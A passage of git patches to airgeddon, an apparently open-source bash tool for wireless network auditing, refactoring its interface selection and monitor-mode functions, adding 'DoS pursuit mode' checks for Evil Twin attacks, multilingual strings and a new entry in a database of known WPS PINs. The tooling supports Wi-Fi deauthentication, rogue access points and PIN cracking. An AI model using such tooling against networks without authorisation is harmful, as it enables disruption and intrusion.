fermer la fenêtre d'attaque" - arr["CATALAN",506]="${pending_of_translation} L'atac DoS amb el \"mode persecució DOS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" + arr["CATALAN",506]="${pending_of_translation} L'atac DoS amb el \"mode persecució DoS\" activat començarà quan premeu [Enter] en aquesta finestra. Per aturar-lo haurà de prémer [Ctrl+C] o tancar la finestra de l'atac" arr["PORTUGUESE",506]="O ataque DoS com o \"modo de perseguição\" foi ativo e será iniciado quando você pressionar [Enter] nesta janela. Para parar, você deve pressionar [Ctrl+C] ou fechar a janela do ataque" arr["RUSSIAN",506]="${pending_of_translation} DoS-атака с включенным \"режим преследования DoS\" включена, когда вы нажмете [Enter] в этом окне. Чтобы остановить его, вы должны нажать [Ctrl+C] или закрыть окно атаки" arr["GREEK",506]="${pending_of_translation} Η επίθεση DoS με την ενεργοποιημένη λειτουργία \"DoS λειτουργία αναζήτησης\" ενεργοποιείται όταν πατήσετε [Enter] σε αυτό το παράθυρο. Για να το σταματήσετε πρέπει να πατήσετε [Ctrl+C] ή να κλείσετε το παράθυρο επίθεσης" @@ -5543,7 +5543,7 @@ function language_strings() { arr["ENGLISH",507]="Channel change detected. Relaunching again DoS attack on \"DoS pursuit mode\" now on channel ${normal_color}${channel}" arr["SPANISH",507]="Cambio de canal detectado. Relanzando de nuevo ataque DoS en \"modo persecución DoS\" ahora sobre el canal ${normal_color}${channel}" arr["FRENCH",507]="${pending_of_translation} Changement de canal détecté. Redémarrage de DoS attaque à nouveau dans \"mode de poursuite DoS\" maintenant sur le canal ${normal_color}${channel}" - arr["CATALAN",507]="${pending_of_translation} Canvi de canal detectat. Rellançant de nou atac DOS en \"mode persecució DOS\" ara sobre el canal ${normal_color}${channel}" + arr["CATALAN",507]="${pending_of_translation} Canvi de canal detectat. Rellançant de nou atac DoS en \"mode persecució DoS\" ara sobre el canal ${normal_color}${channel}" arr["PORTUGUESE",507]="Mudança de canal detectada. Iniciando o ataque DoS novamente em \"modo de perseguição\". Agora no canal: ${normal_color}${channel}" arr["RUSSIAN",507]="${pending_of_translation} Обнаружено изменение канала. Повторная перезагрузка DoS-атаки в режиме \"режим преследования DoS\" теперь на канале ${normal_color}${channel}" arr["GREEK",507]="${pending_of_translation} Η αλλαγή καναλιού εντοπίστηκε. Επανεκκίνηση και πάλι DoS επίθεση στο \"DoS λειτουργία αναζήτησης\" τώρα στο κανάλι ${normal_color}${channel}" @@ -5553,7 +5553,7 @@ function language_strings() { arr["ENGLISH",508]="\"DoS pursuit mode\" can be unstable for this kind of DoS attack. If you are not obtaining an optimal result just select another kind of attack" arr["SPANISH",508]="El \"modo persecución DoS\" puede ser inestable para este tipo de ataque DoS. Si el resultado no es óptimo selecciona otro tipo de ataque" arr["FRENCH",508]="${pending_of_translation} \"mode de poursuite DoS\" peut être instable pour ce type d'attaque DoS. Si le résultat n'est pas optimal, sélectionnez un autre type d'attaque" - arr["CATALAN",508]="${pending_of_translation} \"mode persecució DOS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" + arr["CATALAN",508]="${pending_of_translation} \"mode persecució DoS\" pot ser inestable per a aquest tipus d'atac DoS. Si el resultat no és òptim selecciona un altre tipus d'atac" arr["PORTUGUESE",508]="O ataque DoS com o \"modo de perseguição\" pode ser instável. Se o resultado não for bom, selecione outro tipo de ataque" arr["RUSSIAN",508]="${pending_of_translation} \"режим преследования DoS\" может быть нестабильной для такого DoS-атаки. Если вы не получаете оптимальный результат, просто выберите другой тип атаки" arr["GREEK",508]="${pending_of_translation} \"DoS λειτουργία αναζήτησης\" μπορεί να είναι ασταθής για αυτό το είδος DoS επίθεσης. Εάν δεν επιτυγχάνετε το βέλτιστο αποτέλεσμα, επιλέξτε μόνο ένα άλλο είδος επίθεσης" @@ -5563,7 +5563,7 @@ function language_strings() { arr["ENGLISH",509]="If you want to integrate \"DoS pursuit mode\" on an Evil Twin attack, another additional wifi interface in monitor mode will be needed to be able to perform it" arr["SPANISH",509]="Si se quiere integrar el \"modo persecución DoS\" en un ataque Evil Twin, será necesario tener otro interfaz wifi adicional en modo monitor para llevarlo a cabo" arr["FRENCH",509]="${pending_of_translation} Si vous souhaitez intégrer le \"mode de poursuite DoS\" dans une attaque Evil Twin, il sera nécessaire d'avoir une autre interface wifi supplémentaire en mode moniteur pour l'effectuer" - arr["CATALAN",509]="${pending_of_translation} Si es vol integrar el \"mode persecució DOS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" + arr["CATALAN",509]="${pending_of_translation} Si es vol integrar el \"mode persecució DoS\" en un atac Evil Twin, serà necessari tenir una altra interfície wifi addicional en mode monitor per fer-ho" arr["PORTUGUESE",509]="${pending_of_translation} Se você deseja integrar o \"modo de perseguição do DoS\" em um ataque Evil Twin, será necessário ter outra interface wifi adicional no modo monitor para executá-lo" arr["RUSSIAN",509]="${pending_of_translation} Если вы хотите интегрировать \"режим преследования DoS\" на атаку Evil Twin, потребуется еще один дополнительный интерфейс wifi в режиме монитора, чтобы выполнить его" arr["GREEK",509]="${pending_of_translation} Εάν θέλετε να ενσωματώσετε το \"DoS λειτουργία αναζήτησης\" σε μια επίθεση Evil Twin, μια άλλη πρόσθετη διεπαφή wifi στη λειτουργία παρακολούθησης θα χρειαστεί για να μπορέσει να την εκτελέσει" @@ -5590,6 +5590,16 @@ function language_strings() { arr["ITALIAN",511]="${pending_of_translation} Seleziona un'altra interfaccia wireless :" arr["POLISH",511]="${pending_of_translation} Wybierz inny interfejs bezprzewodowy :" + arr["ENGLISH",512]="\"DoS pursuit mode\" interface: ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["SPANISH",512]="Interfaz para \"modo persecución DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["FRENCH",512]="${pending_of_translation} Interface pour \"mode de poursuite DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["CATALAN",512]="${pending_of_translation} Interfície per \"mode persecució DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["PORTUGUESE",512]="${pending_of_translation} Interface para \"modo de perseguição do DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["RUSSIAN",512]="${pending_of_translation} Интерфейс для \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["GREEK",512]="${pending_of_translation} διεπαφή για \"режим преследования DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["ITALIAN",512]="${pending_of_translation} Interfaccia per \"modalità DoS persecuzione\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["POLISH",512]="${pending_of_translation} Interfejs dla \"tryb pościgowy DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + case "${3}" in "yellow") interrupt_checkpoint "${2}" "${3}" From ca55bb3edf713f7b4d0dbaf9c48834ad266f3dd5 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 6 Nov 2017 00:39:45 +0100 Subject: [PATCH 41/70] Code improvement to merge internet interface selection menu function and secondary wifi interface menu function in one --- airgeddon.sh | 168 ++++++++++++--------------------------------------- 1 file changed, 40 insertions(+), 128 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index ae4a16711..25ef3d617 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171105 +#Date.........: 20171106 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -1683,8 +1683,8 @@ function set_chipset() { fi } -#Secondary wifi interface selection menu -function select_secondary_wifi_interface() { +#Secondary interface selection menu for Evil Twin attacks +function select_secondary_et_interface() { debug_print @@ -1712,108 +1712,24 @@ function select_secondary_wifi_interface() { ;; esac - sec_wifi_ifaces=$(iwconfig 2>&1 | grep "802.11" | grep -v "no wireless extensions" | grep "${interface}" -v | awk '{print $1}') - - option_counter=0 - for item in ${sec_wifi_ifaces}; do - - if [ ${option_counter} -eq 0 ]; then - language_strings "${language}" 511 "green" - print_simple_separator - fi - - option_counter=$((option_counter + 1)) - if [ ${#option_counter} -eq 1 ]; then - spaceiface=" " - else - spaceiface=" " + if [ "${1}" = "dos_pursuit_mode" ]; then + secondary_ifaces=$(iwconfig 2>&1 | grep "802.11" | grep -v "no wireless extensions" | grep "${interface}" -v | awk '{print $1}') + elif [ "${1}" = "internet" ]; then + secondary_ifaces=$(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v | grep "${interface}" -v) + if [ -n "${secondary_wifi_interface}" ]; then + secondary_ifaces=$(echo "${secondary_ifaces}" | grep "${secondary_wifi_interface}" -v) fi - set_chipset "${item}" - echo -ne "${option_counter}.${spaceiface}${item} " - if [ -z "${chipset}" ]; then - language_strings "${language}" 245 "blue" - else - echo -e "${blue_color}// ${yellow_color}Chipset:${normal_color} ${chipset}" - fi - done - - if [ ${option_counter} -eq 0 ]; then - return_to_et_main_menu=1 - return_to_et_main_menu_from_beef=1 - echo - language_strings "${language}" 510 "red" - language_strings "${language}" 115 "read" - return 1 - fi - - option_counter_back=$((option_counter + 1)) - if [ ${option_counter: -1} -eq 9 ]; then - spaceiface+=" " - fi - print_simple_separator - language_strings "${language}" 331 - print_hint ${current_menu} - - read -r secondary_wifi_iface - if [[ ! ${secondary_wifi_iface} =~ ^[[:digit:]]+$ ]] || (( secondary_wifi_iface < 1 || secondary_wifi_iface > option_counter_back )); then - invalid_secondary_wifi_iface_selected - elif [ "${secondary_wifi_iface}" -eq ${option_counter_back} ]; then - return_to_et_main_menu=1 - return_to_et_main_menu_from_beef=1 - return 1 - else - option_counter2=0 - for item2 in ${sec_wifi_ifaces}; do - option_counter2=$((option_counter2 + 1)) - if [[ "${secondary_wifi_iface}" = "${option_counter2}" ]]; then - secondary_wifi_interface=${item2} - break - fi - done - return 0 - fi -} - -#Internet interface selection menu -function select_internet_interface() { - - debug_print - - if [ "${return_to_et_main_menu}" -eq 1 ]; then - return 1 - fi - - current_menu="evil_twin_attacks_menu" - clear - case ${et_mode} in - "et_onlyap") - language_strings "${language}" 270 "title" - ;; - "et_sniffing") - language_strings "${language}" 291 "title" - ;; - "et_sniffing_sslstrip") - language_strings "${language}" 292 "title" - ;; - "et_sniffing_sslstrip2") - language_strings "${language}" 397 "title" - ;; - "et_captive_portal") - language_strings "${language}" 293 "title" - ;; - esac - - inet_ifaces=$(ip link | grep -E "^[0-9]+" | cut -d ':' -f 2 | awk '{print $1}' | grep lo -v | grep "${interface}" -v) - - if [ -n "${secondary_wifi_interface}" ]; then - inet_ifaces=$(echo "${inet_ifaces}" | grep "${secondary_wifi_interface}" -v) fi option_counter=0 - for item in ${inet_ifaces}; do + for item in ${secondary_ifaces}; do if [ ${option_counter} -eq 0 ]; then - language_strings "${language}" 279 "green" + if [ "${1}" = "dos_pursuit_mode" ]; then + language_strings "${language}" 511 "green" + elif [ "${1}" = "internet" ]; then + language_strings "${language}" 279 "green" + fi print_simple_separator fi @@ -1835,8 +1751,13 @@ function select_internet_interface() { if [ ${option_counter} -eq 0 ]; then return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 + echo - language_strings "${language}" 280 "red" + if [ "${1}" = "dos_pursuit_mode" ]; then + language_strings "${language}" 510 "red" + elif [ "${1}" = "internet" ]; then + language_strings "${language}" 280 "red" + fi language_strings "${language}" 115 "read" return 1 fi @@ -1849,19 +1770,23 @@ function select_internet_interface() { language_strings "${language}" 331 print_hint ${current_menu} - read -r inet_iface - if [[ ! ${inet_iface} =~ ^[[:digit:]]+$ ]] || (( inet_iface < 1 || inet_iface > option_counter_back )); then - invalid_internet_iface_selected - elif [ "${inet_iface}" -eq ${option_counter_back} ]; then + read -r secondary_iface + if [[ ! ${secondary_iface} =~ ^[[:digit:]]+$ ]] || (( secondary_iface < 1 || secondary_iface > option_counter_back )); then + invalid_secondary_iface_selected "dos_pursuit_mode" + elif [ "${secondary_iface}" -eq ${option_counter_back} ]; then return_to_et_main_menu=1 return_to_et_main_menu_from_beef=1 return 1 else option_counter2=0 - for item2 in ${inet_ifaces}; do + for item2 in ${secondary_ifaces}; do option_counter2=$((option_counter2 + 1)) - if [[ "${inet_iface}" = "${option_counter2}" ]]; then - internet_interface=${item2} + if [[ "${secondary_iface}" = "${option_counter2}" ]]; then + if [ "${1}" = "dos_pursuit_mode" ]; then + secondary_wifi_interface=${item2} + elif [ "${1}" = "internet" ]; then + internet_interface=${item2} + fi break fi done @@ -8719,7 +8644,7 @@ function et_dos_menu() { ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 - select_secondary_wifi_interface + select_secondary_et_interface "dos_pursuit_mode" #TODO monitor mode validation fi @@ -8773,7 +8698,7 @@ function et_dos_menu() { ask_yesno 505 "no" if [ "${yesno}" = "y" ]; then dos_pursuit_mode=1 - select_secondary_wifi_interface + select_secondary_et_interface "dos_pursuit_mode" #TODO monitor mode validation fi @@ -8830,7 +8755,7 @@ function et_dos_menu() { echo language_strings "${language}" 508 "yellow" language_strings "${language}" 115 "read" - select_secondary_wifi_interface + select_secondary_et_interface "dos_pursuit_mode" #TODO monitor mode validation fi @@ -8898,12 +8823,12 @@ function detect_internet_interface() { language_strings "${language}" 285 "blue" ask_yesno 284 "yes" if [ "${yesno}" = "n" ]; then - if ! select_internet_interface; then + if ! select_secondary_et_interface "internet"; then return 1 fi fi else - if ! select_internet_interface; then + if ! select_secondary_et_interface "internet"; then return 1 fi fi @@ -8998,21 +8923,8 @@ function invalid_iface_selected() { select_interface } -#Show message for invalid selected internet interface -function invalid_internet_iface_selected() { - - debug_print - - echo - language_strings "${language}" 77 "red" - echo - language_strings "${language}" 115 "read" - echo - select_internet_interface -} - -#Show message for invalid selected secondary wireless interface -function invalid_secondary_wifi_iface_selected() { +#Show message for invalid selected secondary interface +function invalid_secondary_iface_selected() { debug_print @@ -9021,7 +8933,7 @@ function invalid_secondary_wifi_iface_selected() { echo language_strings "${language}" 115 "read" echo - select_secondary_wifi_interface + select_secondary_et_interface "${1}" } #Manage behavior of captured traps From a719c6529844ee504d252dd98e1e27ecfc88746c Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Mon, 6 Nov 2017 00:50:27 +0100 Subject: [PATCH 42/70] Updated wps pin database --- known_pins.db | 1 + pindb_checksum.txt | 2 +- 2 files changed, 2 insertions(+), 1 deletion(-) diff --git a/known_pins.db b/known_pins.db index 1fa204ef0..f246df3fb 100644 --- a/known_pins.db +++ b/known_pins.db @@ -214,6 +214,7 @@ function set_pin_database() { PINDB["E43ED7"]="29187386 60551085 07281808 78232099 37706937" PINDB["E4C146"]="71537573 10009321 31348034 18794786 15738370" PINDB["E840F2"]="12345670" + PINDB["E8D11B"]="46240255 30859098 16615519 08935946 40033990" PINDB["EC1A59"]="19366838" PINDB["F07D68"]="01290141 00927659" PINDB["F43E61"]="12345670 47158382 69382161" diff --git a/pindb_checksum.txt b/pindb_checksum.txt index 91fb598b8..b4238e490 100644 --- a/pindb_checksum.txt +++ b/pindb_checksum.txt @@ -1 +1 @@ -a1ef329048cc07cada62bb4f43066ed3 +b4219bc0a582eadeda1d4eee722c0083 From 4d1efe8c33f378f94d675db053da3509d0e5d01b Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 8 Nov 2017 00:52:37 +0100 Subject: [PATCH 43/70] Abstracting check_monitor_enabled method --- airgeddon.sh | 42 ++++++++++++++++++++++++++++++++++++++---- 1 file changed, 38 insertions(+), 4 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 25ef3d617..1e2b7021f 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -2,7 +2,7 @@ #Title........: airgeddon.sh #Description..: This is a multi-use bash script for Linux systems to audit wireless networks. #Author.......: v1s1t0r -#Date.........: 20171106 +#Date.........: 20171108 #Version......: 7.23 #Usage........: bash airgeddon.sh #Bash Version.: 4.2 or later @@ -765,9 +765,6 @@ function check_monitor_enabled() { current_iface_on_messages="${1}" if [[ ${mode} != "Monitor" ]]; then - echo - language_strings "${language}" 14 "red" - language_strings "${language}" 115 "read" return 1 fi return 0 @@ -3061,6 +3058,9 @@ function mdk3_deauth_option() { language_strings "${language}" 35 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return fi @@ -3090,6 +3090,9 @@ function aireplay_deauth_option() { language_strings "${language}" 36 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return fi @@ -3119,6 +3122,9 @@ function wds_confusion_option() { language_strings "${language}" 37 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return fi @@ -3151,6 +3157,9 @@ function beacon_flood_option() { language_strings "${language}" 38 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return fi @@ -3180,6 +3189,9 @@ function auth_dos_option() { language_strings "${language}" 39 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return fi @@ -3211,6 +3223,9 @@ function michael_shutdown_option() { language_strings "${language}" 40 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return fi @@ -3244,6 +3259,9 @@ function wep_option() { fi if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return 1 fi @@ -3268,6 +3286,9 @@ function wps_attacks_parameters() { if [ "${1}" != "no_monitor_check" ]; then if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return 1 fi @@ -4485,6 +4506,10 @@ function offline_pin_generation_menu() { language_strings "${language}" 492 "red" language_strings "${language}" 115 "read" fi + else + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" fi fi else @@ -7639,6 +7664,9 @@ function capture_handshake() { fi if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return 1 fi @@ -7991,6 +8019,9 @@ function explore_for_targets_option() { language_strings "${language}" 65 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return 1 fi @@ -8066,6 +8097,9 @@ function explore_for_wps_targets_option() { language_strings "${language}" 65 "green" if ! check_monitor_enabled "${interface}"; then + echo + language_strings "${language}" 14 "red" + language_strings "${language}" 115 "read" return 1 fi From a30ee81026ae8c6a86f3fe901886823d82d4c903 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 8 Nov 2017 02:35:21 +0100 Subject: [PATCH 44/70] Abstracting monitor_option method --- airgeddon.sh | 65 +++++++++++++++++++++++++++++++++------------------- 1 file changed, 41 insertions(+), 24 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 1e2b7021f..233c77aec 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1263,21 +1263,21 @@ function monitor_option() { debug_print - if ! check_to_set_monitor "${interface}"; then - return + if ! check_to_set_monitor "${1}"; then + return 1 fi disable_rfkill language_strings "${language}" 18 "blue" - ifconfig "${interface}" up + ifconfig "${1}" up - if ! iwconfig "${interface}" rate 1M > /dev/null 2>&1; then + if ! iwconfig "${1}" rate 1M > /dev/null 2>&1; then echo language_strings "${language}" 20 "red" language_strings "${language}" 115 "read" - return + return 1 fi if [ "${check_kill_needed}" -eq 1 ]; then @@ -1286,32 +1286,49 @@ function monitor_option() { nm_processes_killed=1 fi - new_interface=$(${airmon} start "${interface}" 2> /dev/null | grep monitor) - desired_interface_name="" - [[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}" + if [ "${1}" = "${interface}" ]; then + new_interface=$(${airmon} start "${1}" 2> /dev/null | grep monitor) + [[ ${new_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}" + else + new_secondary_interface=$(${airmon} start "${1}" 2> /dev/null | grep monitor) + [[ ${new_secondary_interface} =~ ^You[[:space:]]already[[:space:]]have[[:space:]]a[[:space:]]([A-Za-z0-9]+)[[:space:]]device ]] && desired_interface_name="${BASH_REMATCH[1]}" + fi + if [ -n "${desired_interface_name}" ]; then echo language_strings "${language}" 435 "red" language_strings "${language}" 115 "read" - return + return 1 fi - ifacemode="Monitor" - [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" + if [ "${1}" = "${interface}" ]; then + ifacemode="Monitor" + [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" - if [ "${interface}" != "${new_interface}" ]; then - if check_interface_coherence; then - interface=${new_interface} - current_iface_on_messages="${interface}" + if [ "${interface}" != "${new_interface}" ]; then + if check_interface_coherence; then + interface="${new_interface}" + current_iface_on_messages="${interface}" + fi + echo + language_strings "${language}" 21 "yellow" + fi + else + [[ ${new_secondary_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_secondary_interface="${BASH_REMATCH[1]}" + + if [ "${1}" != "${new_secondary_interface}" ]; then + secondary_wifi_interface="${new_secondary_interface}" + current_iface_on_messages="${secondary_wifi_interface}" + echo + language_strings "${language}" 21 "yellow" fi - echo - language_strings "${language}" 21 "yellow" fi echo language_strings "${language}" 22 "yellow" language_strings "${language}" 115 "read" + return 0 } #Check the interface mode @@ -3913,7 +3930,7 @@ function main_menu() { select_interface ;; 2) - monitor_option + monitor_option "${interface}" ;; 3) managed_option @@ -3987,7 +4004,7 @@ function evil_twin_attacks_menu() { select_interface ;; 2) - monitor_option + monitor_option "${interface}" ;; 3) managed_option @@ -4181,7 +4198,7 @@ function wps_attacks_menu() { select_interface ;; 2) - monitor_option + monitor_option "${interface}" ;; 3) managed_option @@ -4384,7 +4401,7 @@ function offline_pin_generation_menu() { select_interface ;; 2) - monitor_option + monitor_option "${interface}" ;; 3) managed_option @@ -4567,7 +4584,7 @@ function wep_attacks_menu() { select_interface ;; 2) - monitor_option + monitor_option "${interface}" ;; 3) managed_option @@ -7412,7 +7429,7 @@ function handshake_tools_menu() { select_interface ;; 2) - monitor_option + monitor_option "${interface}" ;; 3) managed_option @@ -7521,7 +7538,7 @@ function dos_attacks_menu() { select_interface ;; 2) - monitor_option + monitor_option "${interface}" ;; 3) managed_option From c0a5e2452c77eabc8f91761511b778d97f40ca8c Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Wed, 8 Nov 2017 02:49:51 +0100 Subject: [PATCH 45/70] Abstracting managed_option method --- airgeddon.sh | 51 ++++++++++++++++++++++++++++++++------------------- 1 file changed, 32 insertions(+), 19 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 233c77aec..7220be5a0 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1231,31 +1231,44 @@ function managed_option() { debug_print - if ! check_to_set_managed "${interface}"; then - return + if ! check_to_set_managed "${1}"; then + return 1 fi disable_rfkill language_strings "${language}" 17 "blue" - ifconfig "${interface}" up + ifconfig "${1}" up - new_interface=$(${airmon} stop "${interface}" 2> /dev/null | grep station | head -n 1) - ifacemode="Managed" - [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" + if [ "${1}" = "${interface}" ]; then + new_interface=$(${airmon} stop "${1}" 2> /dev/null | grep station | head -n 1) + ifacemode="Managed" + [[ ${new_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_interface="${BASH_REMATCH[1]}" - if [ "${interface}" != "${new_interface}" ]; then - if check_interface_coherence; then - interface=${new_interface} - current_iface_on_messages="${interface}" + if [ "${interface}" != "${new_interface}" ]; then + if check_interface_coherence; then + interface=${new_interface} + current_iface_on_messages="${interface}" + fi + echo + language_strings "${language}" 15 "yellow" + fi + else + new_secondary_interface=$(${airmon} stop "${1}" 2> /dev/null | grep station | head -n 1) + [[ ${new_secondary_interface} =~ \]?([A-Za-z0-9]+)\)?$ ]] && new_secondary_interface="${BASH_REMATCH[1]}" + + if [ "${1}" != "${new_secondary_interface}" ]; then + secondary_wifi_interface=${new_secondary_interface} + current_iface_on_messages="${secondary_wifi_interface}" + echo + language_strings "${language}" 15 "yellow" fi - echo - language_strings "${language}" 15 "yellow" fi echo language_strings "${language}" 16 "yellow" language_strings "${language}" 115 "read" + return 0 } #Put the interface on monitor mode and manage the possible name change @@ -3933,7 +3946,7 @@ function main_menu() { monitor_option "${interface}" ;; 3) - managed_option + managed_option "${interface}" ;; 4) dos_attacks_menu @@ -4007,7 +4020,7 @@ function evil_twin_attacks_menu() { monitor_option "${interface}" ;; 3) - managed_option + managed_option "${interface}" ;; 4) explore_for_targets_option @@ -4201,7 +4214,7 @@ function wps_attacks_menu() { monitor_option "${interface}" ;; 3) - managed_option + managed_option "${interface}" ;; 4) if contains_element "${wps_option}" "${forbidden_options[@]}"; then @@ -4404,7 +4417,7 @@ function offline_pin_generation_menu() { monitor_option "${interface}" ;; 3) - managed_option + managed_option "${interface}" ;; 4) if contains_element "${wps_option}" "${forbidden_options[@]}"; then @@ -4587,7 +4600,7 @@ function wep_attacks_menu() { monitor_option "${interface}" ;; 3) - managed_option + managed_option "${interface}" ;; 4) explore_for_targets_option @@ -7432,7 +7445,7 @@ function handshake_tools_menu() { monitor_option "${interface}" ;; 3) - managed_option + managed_option "${interface}" ;; 4) explore_for_targets_option @@ -7541,7 +7554,7 @@ function dos_attacks_menu() { monitor_option "${interface}" ;; 3) - managed_option + managed_option "${interface}" ;; 4) explore_for_targets_option From a218c558b6a02cd1b6793da14e01eb67b83381a1 Mon Sep 17 00:00:00 2001 From: v1s1t0r1sh3r3 Date: Thu, 9 Nov 2017 00:32:58 +0100 Subject: [PATCH 46/70] DoS pursuit mode Evil Twin validations --- airgeddon.sh | 66 ++++++++++++++++++++++++++++++--------------- language_strings.sh | 10 +++++++ 2 files changed, 55 insertions(+), 21 deletions(-) diff --git a/airgeddon.sh b/airgeddon.sh index 7220be5a0..af7f86dcf 100644 --- a/airgeddon.sh +++ b/airgeddon.sh @@ -1710,6 +1710,48 @@ function set_chipset() { fi } +#Manage and validate the prerequisites for DoS Pursuit mode integrated on Evil Twin attacks +function dos_pursuit_mode_et_handler() { + + debug_print + + ask_yesno 505 "no" + if [ "${yesno}" = "y" ]; then + dos_pursuit_mode=1 + + if [ "${et_dos_attack}" = "Wds Confusion" ]; then + echo + language_strings "${language}" 508 "yellow" + language_strings "${language}" 115 "read" + fi + + if select_secondary_et_interface "dos_pursuit_mode"; then + if ! check_monitor_enabled "${secondary_wifi_interface}"; then + echo + language_strings "${language}" 14 "yellow" + echo + language_strings "${language}" 513 "blue" + language_strings "${language}" 115 "read" + echo + if ! monitor_option "${secondary_wifi_interface}"; then + return_to_et_main_menu=1 + return + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + echo + language_strings "${language}" 34 "yellow" + language_strings "${language}" 115 "read" + fi + else + return + fi + fi +} + #Secondary interface selection menu for Evil Twin attacks function select_secondary_et_interface() { @@ -8705,12 +8747,7 @@ function et_dos_menu() { echo language_strings "${language}" 509 "yellow" - ask_yesno 505 "no" - if [ "${yesno}" = "y" ]; then - dos_pursuit_mode=1 - select_secondary_et_interface "dos_pursuit_mode" - #TODO monitor mode validation - fi + dos_pursuit_mode_et_handler if [ "${et_mode}" = "et_captive_portal" ]; then if [ ${internet_interface_selected} -eq 0 ]; then @@ -8759,12 +8796,7 @@ function et_dos_menu() { echo language_strings "${language}" 509 "yellow" - ask_yesno 505 "no" - if [ "${yesno}" = "y" ]; then - dos_pursuit_mode=1 - select_secondary_et_interface "dos_pursuit_mode" - #TODO monitor mode validation - fi + dos_pursuit_mode_et_handler if [ "${et_mode}" = "et_captive_portal" ]; then if [ ${internet_interface_selected} -eq 0 ]; then @@ -8813,15 +8845,7 @@ function et_dos_menu() { echo language_strings "${language}" 509 "yellow" - ask_yesno 505 "no" - if [ "${yesno}" = "y" ]; then - dos_pursuit_mode=1 - echo - language_strings "${language}" 508 "yellow" - language_strings "${language}" 115 "read" - select_secondary_et_interface "dos_pursuit_mode" - #TODO monitor mode validation - fi + dos_pursuit_mode_et_handler if [ "${et_mode}" = "et_captive_portal" ]; then if [ ${internet_interface_selected} -eq 0 ]; then diff --git a/language_strings.sh b/language_strings.sh index 439ea1524..0f99b2648 100644 --- a/language_strings.sh +++ b/language_strings.sh @@ -5600,6 +5600,16 @@ function language_strings() { arr["ITALIAN",512]="${pending_of_translation} Interfaccia per \"modalità DoS persecuzione\": ${pink_color}${secondary_wifi_interface}${normal_color}" arr["POLISH",512]="${pending_of_translation} Interfejs dla \"tryb pościgowy DoS\": ${pink_color}${secondary_wifi_interface}${normal_color}" + arr["ENGLISH",513]="Interface will be tried to be changed to monitor mode automatically" + arr["SPANISH",513]="Se intentará cambiar la interfaz a modo monitor automáticamente" + arr["FRENCH",513]="${pending_of_translation} Il va essayer de changer l'interface pour mode moniteur automatiquement" + arr["CATALAN",513]="${pending_of_translation} S'intentarà canviar la interfície a mode monitor automàticament" + arr["PORTUGUESE",513]="${pending_of_translation} Ele tentará mudar a interface para monitorar o modo automaticamente" + 